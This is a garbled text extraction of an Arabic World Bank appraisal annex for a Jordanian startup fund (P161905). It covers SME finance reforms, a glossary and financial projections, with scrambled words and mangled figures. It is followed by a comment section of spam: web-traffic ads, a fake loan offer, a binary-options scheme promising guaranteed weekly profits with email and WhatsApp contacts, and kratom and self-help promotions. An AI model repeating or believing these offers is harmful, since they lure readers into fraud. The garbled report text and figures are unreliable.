مليون دوالر أمريكي مقدمة من البنك الدولي ووزارة التخطيط والتعاون الدولي بالتنسيق مع البنك المركزي األردني و50 مليون دوالر أمريكي مقدمة من البنك الدولي والبنك المركزي األردني لتأمين مبلغ إضافي قدره 50 مليون دوالر في عام 2016( .سوف يبدأ سحب مبالغ قرض البنك الدولي في بداية عام 2017.)  يقوم البنك المركزي األردني بزيادة القرض الممنوح للشركة األردنية لضمان القروض بقيمة 50 مليون دينار أردني لتمويل برنامج تمويل الشركات الناشئة المنفذ في 2016 إلى 100 مليون دينار أردني. تمويل المؤسسات الصغيرة والمتوسطة  تأييد قانون األصول المنقولة )2016 – )تفعيل القانون الحالي عن طريق إصدار الئحة وسحب مشروع القانون من البرلمان لمراجعته.  السماح البنوك بمنح قروض مباشرة للمؤسسات الصغيرة والمتوسطة في إطار برنامج البنك المركزي األردني إلعادة التمويل )في أسرع وقت(.  تخصيص نسبة 15 %من القروض الميسرة التي تمنحها المؤسسات المالية الدولية والمالية إلنشاء المؤسسات الصغيرة والمتوسطة )البنك المركزي األردني/2016 ) تمويل الصادرات والنمو  تخصيص مبلغ 100 مليون دينار أردني للشركة األردنية لضمان القروض لتنفيذ برنامج ضمانات الصادرات )البنك المركزي األردني/2016.)  قيام القطاع المصرفي بتأسيس صندوق تمويل رأس المال الخاص بمساهمة بقيمة 150 مليون دينار أردني من البنوك التجارية و40 مليون دينار أردني من البنوك اإلسالمية )البنوك، البنك المركزي األردني، 2016 .)  زيادة الحد األعلى للضمان المسموح به حتى مليون دينار أردني )بعد أن كان 550 ألف دينار( للقروض التي تمول القطاعات الخدمية والصناعية )وزارة التخطيط والتعاون الدولي، الشركة األردنية لضمان القروض، 2016.) تمويل المحافظات  تقليل سعر فائدة برنامج إعادة التمويل الذي ينفذه البنك المركزي األردني من 75.1 %إلى 1 %للمشروعات المقامة خارج عمان )على الفور(  تمديد فترة استحقاق برنامج إعادة التمويل الذي ينفذه البنك المركزي األردني )على الفور( سوق رأس المال  خصخصة بورصة عمان – شركة مساهمة عامة )هيئة األوراق المالية األردنية/ 2017)  تمكين التجارة اإللكترونية على موقع بورصة عمان )هيئة األوراق المالية األردنية/ 2017)  تعديل قانون الشركات التابعة لهيئة األوراق المالية األردنية لمنح الهيئة المزيد من صالحيات إصدار تعليمات وضع السياسات )هيئة األوراق المالية األردنية/ 2017) البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 83  تفعيل نظام حوكمة الشركات المنصوص عليه في القوانين الخاصة بشركات المساهمة )هيئة األوراق المالية األردنية/ )2017  تفعيل صندوق المؤشرات المتداولة وصناديق االستثمار المشتركة )هيئة األوراق المالية األردنية/ 2017 .) األدوات المالية  توسيع حملة "إصدار سندات اإلدخار" لتشمل المغتربين األردنيين والمواطنين األردنيين )وزارة المالية، البنك المركزي األردني/ 2016)  توسيع سوق "إصدار الصكوك اإلسالمية" ليشمل األفراد )وزارة المالي، البنك المركزي األردني/ 2016) التمويل متناهي الصغر والتأمين للوائح التي وضعها البنك  تزويد مؤسسات التمويل متناهي الصغر التي نجحت في استكمال عملية التراخيص وفقاً المركزي األدرني بخدمات اإلقراض المصرفي وضمانات القروض )البنوك، البنك المركزي األدرني/ 2017 .)  تحفيز اندماج شركات التأمين وشركات التمويل متناهي الصغر )البنك المركزي األردني/ 2017)  التمكين من اإلعداد القانوني للشراكات بين الشركاء المتضامنين/ الشركاء المحدودين والشراكات االستثمارية المحدودة. تطبيق الهيكل القانوني للشركات االستثمارية المحدودة في الشركات.  السماح بتنفيذ االتفاقيات المبرمة مع المساهمين، باستثناء الشركات العامة محدودة المسئولية. إضافة مادة إلى قانون الشركات تقتضي إلحاق وتنفيذ االتفاقيات المبرمة مع المساهمين.  إلغاء ضرائب اسم الشهرة. تعديل المادة )3-أ7 )من قانون الضرائب المفروضة على الدخول )2014 )إللغاء ضرائب اسم الشهرة.  خصم الضرائب على االستثمارات في الشركات الناشئة. إضافة مادة إلى قانون الضرائب المفروضة على الدخول )2014 )تقتضي خصم الضرائب على االستثمارات في الشركات الناشئة التي لم يتجاوز نشاطها الثالث سنوات.  السماح بتسجيل "المكتب االفتراضي". تعديل قانون الشركات للسماح بتسجيل "المكتب االفتراضي"  تحديد معدل ثابت منخفض للضرائب الجمركية والضرائب المفروضة على السلع والخدمات، مع إعادة النظر في حاالت اإلعفاء.  الموائمة بين تخصيص الموارد وأفضل الممارسات الدولية بشأن االمتثال مقابل التدقيق )5-10 ،)%إلى جانب إدخال التخصصات في اإلدارات الضريبية.  الحد من حاالت التهرب الضريبي  تطبيق نظام القسائم واالتصاالت.  تطبيق النظام التلقائي وربط الخدمات عن طريق إنشاء قاعدة بيانات.  العقوبة بالسجن على التهرب الضريبي  التشجيع على سداد المستحقات الضريبية غير المسددة من خالل تطبيق برنامج سداد تحفيزي. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 84 خفض تكلفة امتثال المؤسسات الصغيرة والمتوسطة  السماح بتقديم التقارير مرتين في السنة  المحاسبة القائمة على النقد )مقابل المحاسبة التراكمية(، بالنسبة للقطاعات التي تسري عليها هذه األنظمة.  تطبيق النظام التلقائي على عمليات إسناد القضية القانونية في إطار النظام القضائي )إسناد القضايا التجارية إلى القضاة المتخصصين(  تدريب الموظفين على االستخدام السليم لرخصة الشرطة القضائية )الجهة المسئولة عن إنفاذ القانون(.  تبسيط إجراءات اعسار الشركات  تعديل عملية اإلخطارات القانونية )العملية اإللكترونية(  إنشاء مراكز تبادل المعلومات الضريبية اإلطار التشريعي واالقتصادي الشامل  ضمان وضوح الحقوق االقتصادية للقطاع الخاص عند تفاعله مع الحكومة، مراعاة هذه الحقوق.  إعفاء صندوق استثمار الضمان االجتماعي وهيئة األوراق المالية من لوائح الخدمة المدنية )إجراءات التعيين(  إعادة هندسة العمليات ذات الصلة باألنشطة واألعمال التجارية واستجالبها وتطبيق النظام الرقمي عليها )كلما أمكن(. التخطيط للبدء بأول 10 أعمال ذات صلة بالعمليات الحكومية.  التواصل مع دول مجلس التعاون الخليجي لضمان اعتماد مؤهالت الخدمة االحترافية األردنية واالعتراف بها )على سبيل المثال: التدقيق والمحاسبة والهندسة والعمارة(  توفير شركات النقل منخفضة التكلفة. تطوير مطار ماركا بمشاركة شركات البناء والتشغيل والنقل التابعة للقطاع الخاص لكي يصبح المطار األساسي في عمان لشركات النقل منخفضة التكلفة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 85 ملحق رقم 6 :الدعم الحالي المقدم لتمويل المؤسسات الصغيرة والمتوسطة في األردن جدول رقم 6-1 .الدعم الحالي المقدم من مجموعة البنك الدولي لتمويل المؤسسات الصغيرة والمتوسطة في الردن أ- المساعدة الفنية تعزيز الحوكمة واإلطار التنظيمي والمؤسسي المعني بتطوير المؤسسات متناهية الصغر والصغيرة والمتوسطة )3 مليون دوالر أمريكي(  يضمن المشروع األردني لتعزيز الحوكمة واإلطار التنظيمي والمؤسسي المعني بتطوير المؤسسات متناهية فعاال لالئتمان والخدمات االستشارية وجهود بناء القدرات المقدمة إلى ً الصغر والصغيرة والمتوسطة تنفيذا البنك المركزي األردني )الجهة المنفذة( وبذلك فإن هذه المشروعات متضافرة يعضد بعضها بعضا وتضمن ً أفضل على أرض الواقع. ويعالج المشروع أوجه القصور الكبرى في البنية التحتية المالية، ً إحراز أثرا وبذلك فإنه يعزز فرص حصول المؤسسات متناهية الصغر والصغيرة والمتوسطة على التمويل ويجعل النظام المالي أكثر عدالة وشفافية.  يسعى المشروع إلى تعزيز آلية حماية المستهلك وتطوير اإلطار التنظيمي والمؤسسي لمؤسسات التمويل متناهي الصغر والمؤسسات المالية غير المصرفية وتعزيز خطط الضمانات االئتمانية الخاصة بالمؤسسات متناهية الصغر والصغيرة والمتوسطة لمساعدة الشركة األردنية لضمان القروض على تقديم منتجات ترعى احتياجات اقتراض المؤسسات متناهية الصغر والصغيرة والمتوسطة للحد من مخاطر إقراض البنوك لهذا القطاع ذي المخاطرة المرتفعة. المرفق المشترك بين البنك الدولي ومؤسسة التمويل الدولية للمساعدة المقدمة للمؤسسات متناهية الصغر والصغيرة والمتوسطة في منطقة الشرق األوسط وشمال أفريقيا  يعد المرفق االقليمي للمساعدة الفنية المقدمة للمؤسسات متناهية الصغر والصغيرة والمتوسطة في منطقة الشرق األوسط وشمال افريقيا من الصناديق االستئمانية التي ترعاها جهات مانحة متعددة، ويدعمه كل من: الوكالة الدانمركية للتنمية الدولية والوكالة اليابانية للتعاون الدولي ووزارة التنمية الدولية البريطانية وأمانة الدولة السويسرية للشئون االقتصادية ووزارة الشئون الخارجية والتجارة والتنمية الكندية، وتبلغ إجمالي موازنة المرفق 41 مليون دوالر أمريكي.  يقدم المرفق المذكور في األردن مساعدة فنية وخدمات استشارية تندرج تحت ثالث ركائز، أال وهي:)أ( تطوير بيئة المؤسسات متناهية الصغر والصغيرة والمتوسطة وتمكينها عن طريق دعم السياسات واإلصالحات القانونية والتنظيمية الرامية إلى تسهيل الحصول على التمويل؛ )ب( تقديم الخدمات االستشارية إلى المؤسسات المالية التي تخدم المؤسسات متناهية الصغر والصغيرة والمتوسطة بهدف التوصل إلى نظام أكثر شموال؛ )ج( بناء قدرات المؤسسات متناهية الصغر والصغيرة والمتوسطة عبر شبكات رواد األعمال وتقديم الخدمات التدريبية والتجارية الشبيهة بحاضنات األعمال. مستشارو مؤسسة التمويل الدولية  الشركة األردنية لضمان القروض  المبادرة العربية لتطوير نظم االستعالم االئتماني )المرحلة الثانية(  مكتب االستعالم االئتماني الخاص األردني  مشروع حوكمة الشركات بالشام  مشروع الطاقة المتجددة في الشرق األوسط وشمال أفريقيا  شركة إجارة للتأجير التمويلي  قانون المعامالت المأمونة وإصالح نظام اإلعسار ب- العمل التحليلي خدمات المعرفة السارية على المستوى اإلقليمي واألبحاث الجديدة  دليل حوكمة الشركات المعن ّي بالمؤسسات الصغيرة والمتوسطة. تعمل مؤسسة التمويل الدولية حالياً على وضع دليل لحوكمة الشركات يستهدف المؤسسات الصغيرة والمتوسطة لكي يُستخدم على المستوى اإلقليمي، ويحدد هذا الدليل تحديات الحوكمة التي تواجهها الشركات الصغيرة والمتوسطة ويفصل أفضل لنهج حوكمة الشركات الذي تتبعه مؤسسة التمويل الدولية. الممارسات وفقاً  تحسين تقييم مخاطر التمويل متناهي الصغر. تتعاون مؤسسة التمويل الدولية مع شبكة سنابل على إجراء دراسة استقصائية إلدارة المخاطر على المستوى اإلقليمي )شبكة ذا فويسز اإلخبارية(، كما هو الحال في نموذج "قشور الموز" للتمويل متناهي الصغر، إال أن هذا التقييم ركز على الجهات المعنية العاملة في المنطقة العريبة والمعتادة عليها. كما يهدف التقرير إلى تقييم أكبر المخاطر التي تواجه القطاع وتحلل االتجاهات بناء على تصورات المشاركين.  التقرير الرئيسي حول التمويل اإلسالمي المقدم إلى المؤسسات الصغيرة والمتوسطة في الشرق األوسط وشمال أفريقيا. تحلل هذه الدراسة الجديدة العرض والطلب على التمويل الذي تقدمه البنوك اإلسالمية إلى المؤسسات الصغيرة والمتوسطة في المنطقة، وتحديد الفرص الجديدة بالنسبة للبنوك في المغرب وتونس ومصر واألردن والعراق. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 86 ج- اإلقراض تطوير المؤسسات متناهية الصغر والصغيرة والمتوسطة لتنفيذ مشروع النمو الشمل وألغراض الحصول على التمويل اإلضافي )120 مليون دوالر أمريكي(  يعد هذا المشروع ضمن التسهيالت االئتمانية التي يقدمها البنك المركزي األردني إلى البنوك لتمويل إقراض المؤسسات متناهية الصغر والصغيرة والمتوسطة، بغرض معالجة مشكلة السيولة التي تضر أكثر ما تضر بسهولة حصول هذه المؤسسات على التمويل. أتى هذا المشروع إلى األردن في الوقت المناسب لالجئين السوريين إلى البالد بحثاً في ضوء التطورات االقتصادية والسياسية األخيرة وتدفق ا عن فرص عمل. صندوق نمو المؤسسات المالية التابع لمؤسسة التمويل الدولية  بنك االتحاد وبنك القاهرة عمان وكابيتال بنك  قروض مقدمة إلى ثالث مؤسسات للتمويل متناهي الصغر )تمويلكم وفينكا وفيستاس/لجنة التنسيق االقتصادي الشامل( تبلغ 5 مليون دوالر أمريكي. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 87 ملحق رقم 7 .المصطلحات الفنية جدول رقم 7-1 .المصطلحات الفنية معجالت األعمال تشبه معجالت األعمال حاضنات األعمال )انظر أدناه(، ولكن وجه االختالف أن المعجالت تركز بشكل خاص على الشركات التي تدخل سوقاً وطنية أو عالمية أو تنمو فيها. ويغلب على معجالت األعمال أن يمولها المستثمرون في رأس المال المخاطر الباحثون عن فرصة لتمويل نمو تلك الشركات عن طريق خطط عمل واضحة. وبوجه عام تقدم معجالت األعمال كل الخدمات التي تقدمها حاضنات األعمال. وأبرز االختالفات بينهما هو زيادة المشاركة المباشرة إلدارة المعجالت، مما يزيد احتمال نجاح المشروع. المستثمر راعي األعمال هو من يستثمر أمواله في شركة لريادة األعمال )ويختلفون عن المستثمرين المؤسسيين في رأس المال المخاطر الذين يستثمرون أموال غيرهم(. قد يقدم المستثمر راعي األعمال رأس المال لشركة ناشئة أو أكثر، ويشارك بصفة شخصية في نجاح المشروع بمشاركة مهاراته وخبراته وعالقاته. وتتميز هذه االستثمارات بارتفاع مستويات المخاطرة وضخامة العائدات على االستثمار. وفي بعض األحيان يجتمع بعض األفراد ويتفقون على استثمار أموالهم في شركة معينة، وحينئذ يشار إليهم بشبكة رعاة األعمال. يقصد بهم األفراد الذين هاجروا من وطن أسالفهم إلى بلد آخر، ويتجه هؤالء إلى تكوين شبكات مهنية وثقافية المغتربون واجتماعية في البلد الجديد، وتسمى شبكات المغتربين. النظام البيئي الشامل لريادة األعمال يعرف النظام البيئي بأنه جماعة من الكائنات الحية والبيئة التي يعيشون فيها وسبل تفاعلهم باعتبارهم وحدة بيئية. وفي حالة ريادة األعمال، يشير النظام البيئي الشامل إلى األفراد أو المنظمات أو المؤسسات وبيئتهم التي يعملون ويعيشون فيها، سواء كانت تشجع الشخص أو تثبط عزيمته على خوض ريادة األعمال وسواء كانت تزيد احتمالية نجاحه عقب إطالق مشروعه أو غير ذلك. هي تحمل شخص مخاطرة ومسئولية تصميم استراتيجية تجارية وتنفيذها في بدء مشروعه الخاص، ويسمى ريادة األعمال هذا الشخص رائد أعمال. االستثمار في رأس المال هي األموال التي يستثمرها مالك أسهم عادية في شركة من الشركات دون استردادها خالل الدورة الطبيعية لعمل هذه الشركة، وإنما يستردها المستثمر فقط عندما يبيع حصته إلى مستثمرين آخرين، أو عندما تصفى أصول الشركة وتوزع إيراداتها بين مالكي األسهم وتسدد التزاماته. ويعرف هذا النوع من االستثمار أي ًضا بالمساهمة في رأس المال. حاضنات األعمال هي جهات تعمل وفق برامج لمساعدة الشركات الصغيرة على تحسين أدائها في مراحلها األولى، وتقدم الحاضنات خدمات مثل المقرات )بسعر مخفض عادة( وخدمات المكاتب مثل موظفي االستقبال وقاعات المؤتمرات وأجهزة الكمبيوتر والمعدات المكتبية وما إلى ذلك، عالوة على المشورة المتخصصة والتخطيط التجاري، وشبكات العالقات. تعرف أحدث نسخة من دليل أوسلو )النسخة الثالثة، 2005 )اإلبتكار بأنه إنتاج أو تحسين كبير لمنتج )سلعة اإلبتكار أو خدمة( أو عملية أو منهج تنظيمي إلدارة الممارسات التجارية أو تنظيم مكان العمل أو العالقات الخارجية0 رأس المال االستثماري األموال المستثمرة في أحد المشروعات التجارية بغرض الحصول على دخل، وتسترد من أرباح المشروع على مدار عدة أعوام. وتستخدم بوجه عام في نفقات رأس المال وليس في العمليات اليومية )رأس المال العامل( أو النفقات األخرى. برنامج رسمي للتدريب يقدمه رواد األعمال لجذب المستثمرين لمشاريعهم أو للتواصل مع المستثمرين الجاهزية لالستثمار المحتملين، ويقدم منفصال أو في إطار أحد معجالت األعمال. المعدل الداخلي للعائد مقياس متوسط العائد السنوي لالستثمارات، ويتكون من التدفقات السالبة )التدفقات النقدية الخارجة( والتدفقات الموجبة )التدفقات النقدية الداخلة(، وتستخدم في قياس معامالت األسهم الخاصة ومراقبة أدائها. شبه حقوق الملكية فئة من الديون غير المضمونة تأخذها شركة مرفقة بسندات حيازة أسهم )عادة ما تكون صكو ًكا أو خيارات اكتتاب في األسهم(، مما يزيد من قيمة الدين ومن مرونة السداد. ومن أمثلة شبه المساهمة في رأس المال الدين التابع والدين متوسط المخاطر. يعرف الدين التابع بأنه قرض أو سند ذو أولوية تقل عن السندات أو القروض ذات األولوية العالية مثل الديون الممتازة )بعدها مباشرة عادًة( من ناحية المطالبات المفروضة على أصول الشركة أو أرباحها. ويعرف الدين التابع أي ًضا باسم الضمان األدنى. وفي حالة عجز المدين عن البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 88 السداد، لن يحصل الدائنون المستحقون للدين التابع إال بعد سداد كافة مستحقات أصحاب الدين الممتاز. كثي ًرا ا يسمح ا مؤقتً ما يرتبط الدين متوسط المخاطر بصفقات الحيازة وشراء الشركات، حيث يمكن اعتباره دينً لشركة ما بشراء أصل أو ممارسة نشاط خالل فترة البحث عن تمويل أقل تكلفة وأطول مدى. فعلى سبيل ا متوسط المخاطر للوفاء بالتزاماتها، المثال، إذا احتاجت شركة أمواال لتنفيذ طلب معين، فستقترض دينً المدين، 33 وتبحث في الوقت نفسه عن خط ائتمان ذي سعر فائدة أقل وخيارات سداد أفضل. وفي حالة إفالس ا باه ًظ يحصل مالكو هذا الدين على مستح ا للغاية. قاتهم قبل مالكي األنواع األخرى، ويعتبر دينً الدين الممتاز هي القروض التي يتعين على الشركة سدادها أوال في حالة إفالسها. فإذا أفلست شركة ما، سيحصل مالكو ا ما يكونون حاملي أسهم أو بنوك( الذين أصدروا خط ائتمان متجدد على مستحقاتهم على ً الدين الممتاز )كثير األغلب، ويليهم مالكي الدين التابع وحاملي األسهم الممتازة واألسهم العادية. يضمن الدين الممتاز برهن يمكن دين ئدة مقارنة بغيره. ومع أن ً بيعه لسداد مستحقات الدائنين. ولهذا فهو يعتبر ا منخفض المخاطرة وسعر الفا الدائنين في هذا النوع هم أول من يحصلون على مستحقاتهم، فإنهم لن يحصلوا بالضرورة على المبلغ كامال إذا أفلس المدين في أسوأ األحوال. http://www.investopedia.com/terms/s/seniordebt.asp#ixzz4F3rAtvYW رأس المال المخاطر تمويل بداية المشروع أو النمو أو رأس المال السهمي أو رأس المال المقترض الذي يقدمه مستثمر خاص )رأسمالي مغامر( أو مؤسسات مالية متخصصة )هيئات تمويل التنمية أو شركات رأس المال المخاطر(. ويعرف أي ًضا برأس مال المجازفة. 33 http://budgeting.thenest.com/difference-between-mezzanine-debt- األول تشرين/ أكتوبر 20 في الموقع هذا زيارة تمت subordinated-debt-30054.html البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 89 ملحق رقم 8 .التنبؤات المالية الخاصة بالمشروع جدول رقم 8-1 .التنبؤات المالية الخاصة بالمشروع بناء على استراتيجية االستثمار المقترحة في وثيقة تقييم المشروع الفرضيات مبلغ القرض 50000000 فترة تنفيذ المشروع 6 سنوات رسوم القرض )المدفوعة مقدماً( 25.0 %من القرض 125000 معدل الفائدة 87.1% سداد القرض 20 سنة/ 6 سنوات سماح التكاليف اإلجمالية للمشروع إجمالي الست سنوات في السنة الواحدة 666.666.67 دوالر 4.000.000 المشروع إدارة وحدة دوالر دوالر 1.083.333.33 دوالر 6.500.000 الصفقات تدفق مكون دعم ما قبل وما بعد االستثمار 000.500.3 دوالر 33.333.583 دوالر رسوم القرض 000.125 دوالر السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة السنة السادسة التكاليف السنوية للمشروع 666.667 666.667 666.667 666.667 666.667 666.667 المشروع إدارة وحدة 1.083.333 1.083.333 1.083.333 1.083.333 1.083.333 1.083.333 الصفقات تدفق مكون 583.333 583.333 583.333 583.333 583.333 583.333 االستثمار بعد وما قبل ما دعم 0 0 0 0 0 125.000 القرض رسوم 0 0 0 0 0 0 الفائدة 2.333.333 2.333.333 2.333.333 2.333.333 2.333.333 2.458.333 اإلجمالي استثمار رأس المال الصناديق المتاحة لدعم االستثمار 000.000.50 دوالر )43 مليون من البنك الدولي و7 ماليين من الحكومة األردنية( % دوالر الرفع المالي المبلغ المخصص لالستثمار في مرحلة التأسيس 14 %000.7000 دوالر 1 المبلغ المخصص لالستثمار في المرحلة المبكرة 28 %000.000.14 دوالر 1.7 المبلغ المخصص لالستثمار في رأس المال المخاطر 48 %000.000.24 دوالر 1.4 5.000.000 %10 المباشرة االستثمارات دوالر 1.5 45.000.0000 %100 اإلجمالي مرحلة التأسيس المرحلة المبكرة رأس المال المخاطر االستثمارات المباشرة 10 40 70 80 االستثمارات عدد %25 %30 %25 %20 النجاح معدل 2.5 2.5 3 2.5 )المرات عدد )النجاح عائد %25 %30 %25 %20 البقاء معدل عائد البقاء )عدد المرات( 1 1 1 1 %50 %40 %50 %60 الفشل معدل عائد الفشل )عدد المرات( 0 0 0 0 السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة السنة السادسة 0.1 0.2 0.25 0.2 0.15 0.1 االستثمار إنفاق معدل 6.750.000 11.750.000 14.250.000 11.750.000 9.250.000 6.750.000 المشروع مصروفات استثمارات الحكومة األدرنية 700.000 1.400.000 1.750.000 1.400.000 1.050.000 700.000 التأسيس مرحلة 1.400.000 2.800.000 3.500.000 2.800.000 2.100.000 1.400.000 المبكرة المرحلة 2.400.000 4.800.000 6.000.000 4.800.000 3.600.000 2.400.000 المخاطر المال رأس 5.000.000 1.000.000 1.250.000 1.000.000 750.000 500.000 المباشرة االستثمارات 5.000.000 10.000.000 12.500.000 10.000.000 7.500.000 5.000.000 األدرنية الحكومة استثمارات إجمالي االستثمارات المشتركة المجمعة من القطاع الخاص 700.000 1.400.000 1.750.000 1.400.000 1.050.000 700.000 التأسيس مرحلة 2.380.000 4.760.000 5.950.000 4.760.000 3.570.000 2.380.000 المبكرة المرحلة 2.360.000 6.720.000 8.400.000 6.720.000 5.040.000 2.360.000 المخاطر المال رأس 750.000 1.500.000 1.875.000 1.500.000 1.125.000 750.000 المباشرة االستثمارات 7.190.000 14.380.000 17.975.000 14.380.000 10.785.0000 7.190.000 الخاص القطاع من المجمعة المشتركة االستثمارات إجمالي 12.190.000 24.380.000 30.475.000 24.380.000 18.285.000 12.190.000 االستثمارات إجمالي 1.400.000 2.800.000 3.500.000 2.800.000 2.100.000 1.400.000 التأسيس مرحلة 3.780.000 7.560.000 9.450.000 7.560.000 5.670.000 3.780.000 المبكرة المرحلة البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 90 5.760.000 11.520.000 14.400.000 11.520.000 8.640.000 5.760.000 المخاطر المال رأس 1.250.000 2.500.000 3.125.000 2.500.000 1.875.000 1.250.000 المباشرة االستثمارات عدد الشركات الحاصلة على رأس المال السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة السنة السادسة 8 16 20 16 12 8 التأسيس مرحلة 7 14 18 14 11 7 المبكرة المرحلة 4 8 10 8 6 4 المخاطر المال رأس 1 2 3 2 2 1 المباشرة االستثمارات 20 40 50 40 30 20 الشركات عدد إجمالي عمليات التخارج السنة السابعة السنة الثامنة السنة التاسعة السنة العاشرة السنة الحادية عشر السنة الثانية عشر قيمة حصة الحكومة األردنية في االستثمار 490.000 980.000 1.225.000 980.000 735.000 490.000 التأسيس مرحلة 1.225.000 2.450.000 3.062.500 2.450.000 1.837.000 1.225.000 المبكرة المرحلة 2.880.000 5.760.000 7.200.000 5.760.000 4.320.000 2.880.000 المخاطر المال رأس 437.500 875.000 1.093.750 875.000 656.250 437.500 المباشرة االستثمارات 4.595.0000 9.190.000 11.487.500 9.190.000 6.892.500 5.032.500 اإلجمالي قيمة استثمارات الحكومة األردنية عند التخارج 4.900.000 التأسيس مرحلة 12.250.000 المبكرة المرحلة رأس المال المخاطر 000.800.28 4.375.000 المباشرة االستثمارات 50.325.000 اإلجمالي

Agustin Rossetti

Tuesday, June 23, 2020

Promote your site without cost here!: https://bit.ly/zero-cost-ads

Clarita Barringer

Monday, June 22, 2020

EROTICA becomes REALITY!!! Stepping Stones to the ARCH De Pleasure Men, put your feet in James Pope’s shoes, women put your feet in the women’s shoes I encounter, as I traveled the road from farm-to-MATTRESONAME! Stepping Stones is my third novel in a 3, connected, series. 1- Post Hole Digger! 2-Trifecta! https://bit.ly/www-popejim-com “CLICK & VIEW videos. Search: amazon.com, title - author

GET WEBSITE TRAFFIC

Sunday, June 21, 2020

Hello Admin, YOU NEED QUALITY VISITORS for your: budget.gov.eg My name is Kristeen Wickham, and I'm a Web Traffic Specialist. I can get: - visitors from search engines - visitors from social media - visitors from any country you want - very low bounce rate & long visit duration CLAIM YOUR 24 HOURS FREE TEST => https://bit.ly/3gqLEoE Do not forget to read Review to convince you, is already being tested by many people who have trusted it !! الموازنة العامة للدولة

PutinMut

Saturday, June 20, 2020

Putin - sql training - https://www.youtube.com/c/ExcelStore excel training excel courses excel lessons sql training sql courses sql lessons

mr oscar

Friday, June 19, 2020

مرحبا، هل تواجه أي نوع من الصعوبات المالية؟ هل تحتاج إلى قرض لتسوية الديون الخاصة بك؟ هل ستزيد اموالك؟ هل أنت رجل أعمال يرغب في توسيع شركته. نشجعك هنا على الاتصال بالبطل الحقيقي ، والثقة ، وإقراض القرض الفعال لقرضك. أنا معروف من قبل الأفراد والحكومة على حد سواء بكفاءتنا الكبيرة. هذه شركة ائتمان سهلة. نحن نقدم قروض لأولئك الذين يرغبون في سعر فائدة 3 ٪ بأسعار معقولة. النطاق من $ 1،000 إلى الحد الأقصى $ 50،000،000.00. مراسلتنا عبر البريد الإلكتروني: ecofinance2020@gmail.com Whatsapp: +2347035513355 السيد أوسكار ecofinance2020@gmail.com

Tangela Chin

Tuesday, June 16, 2020

ABOLISH REACTIVE DEPRESSION AND EMERGE FROM ITS DEEP, DARK, BLACK HOLE? • Do you feel this came from the beginnings of a dysfunctional family system? • Or did this come from the loss of a beloved job or loved one? • Or did this come from dire effects from the disease of Alcoholism? • Or did this come from the brainwashing attempts of a fearful and angry world, i.e. terroristic recruitment? Do you know that whatever caused this DEEP, DARK, BLACK HOLE OF DEPRESSION which may have come from a NERVOUS BREAKDOWN can cease its influence over your life? Yes, you do not have to live buried in negative thinking from the defeat from negative life experiences in your life. Please know that any tragic experiences from childhood to adulthood need no longer affect your chance to gain emotional wellbeing. Instead, now you have the opportunity to be HAPPY and in PEACEFUL CONTROL OF YOUR OWN DESTINY with only the memory of what once ailed you. Now is the time to overcome depression and begin to take control over your life. Not only that, you alone have the opportunity to reverse negative thinking and achieve your very own POSITIVE BELIEF SYSTEM. PLEASE NOTE: Your views on spirituality or religion will not prevent you from successfully implementing your own PARENTAL SELF-LOVE PROCESS to ACHIEVE PURPOSE, MOTIVATION, GOOD SELF-ESTEEM, SUCCESS, AND MORE. Yes, like Lin Tillman did, you too can ACHIEVE MORE THAN YOU ASKED FOR and make meaningful and healthy contributions to this planet. You can learn more about Lin’s journey in her book The Invisible Girl & GOD, where she shares her TRUE STORY of how she healed herself from an agonizing depression with suicidal ideations. GO TO: https://bit.ly/Depression-self-help to learn more

Alexis

Monday, June 15, 2020

For newest news you have to pay a quick visit internet and on the web I found this site as a most excellent site for hottest updates. https://youbestkratom.buzz/cbd-oil-oregon-vets.html herbal kratom https://youbestkratom.buzz/cbd-oil-oregon-vets.html herbal kratom

bitcoin investment

Sunday, June 14, 2020

هل أنت مهتم بتداول الخيارات الثنائية ، واستثمر مع مدير حساب موثوق به واحصل على عائد ربح أفضل في 72 ساعة ، فمن الممكن أن تحصل على ما يصل إلى 32500 دولار أو أكثر في 7 أيام مع (شركة حقيقية ومرخصة) ، يمكنني مساعدتك في إدارة حسابك بحد أدنى 300 دولار أمريكي لضمان حصولك على 4500 دولارًا أمريكيًا في الأسبوع (7 أيام تداول) استثمر 500 دولار واحصل على 3500.00 دولارًا أسبوعيًا استثمر 1000 دولار واحصل على 7000.00 دولار أسبوعيًا استثمر 2000 دولار واحصل على 14000.00 دولار أسبوعيًا استثمر 3000 دولار واحصل على 21000.00 دولار أسبوعيًا استثمر 4000 دولار واحصل على 2800.00 دولارًا أسبوعيًا استثمر 5000 دولار واحصل على 35000.00 دولارًا أسبوعيًا كل الأرباح الأسبوعية مضمونة 100٪. (الدفع مضمون) إذا كنت مهتمًا باختيار خطة مناسبة لنفسك والبريد الإلكتروني: tradewitcarlos2156@gmail.com أو whatsapp +15022064419 حتى نتمكن من البدء معك

bitcoin investment

Sunday, June 14, 2020

هل أنت مهتم بتداول الخيارات الثنائية ، واستثمر مع مدير حساب موثوق به واحصل على عائد ربح أفضل في 72 ساعة ، فمن الممكن أن تحصل على ما يصل إلى 32500 دولار أو أكثر في 7 أيام مع (شركة حقيقية ومرخصة) ، يمكنني مساعدتك في إدارة حسابك بحد أدنى 300 دولار أمريكي لضمان حصولك على 4500 دولارًا أمريكيًا في الأسبوع (7 أيام تداول) استثمر 500 دولار واحصل على 3500.00 دولارًا أسبوعيًا استثمر 1000 دولار واحصل على 7000.00 دولار أسبوعيًا استثمر 2000 دولار واحصل على 14000.00 دولار أسبوعيًا استثمر 3000 دولار واحصل على 21000.00 دولار أسبوعيًا استثمر 4000 دولار واحصل على 2800.00 دولارًا أسبوعيًا استثمر 5000 دولار واحصل على 35000.00 دولارًا أسبوعيًا كل الأرباح الأسبوعية مضمونة 100٪. (الدفع مضمون) إذا كنت مهتمًا باختيار خطة مناسبة لنفسك والبريد الإلكتروني: tradewitcarlos2156@gmail.com أو whatsapp +15022064419 حتى نتمكن من البدء معك

Jeremiah Medlin

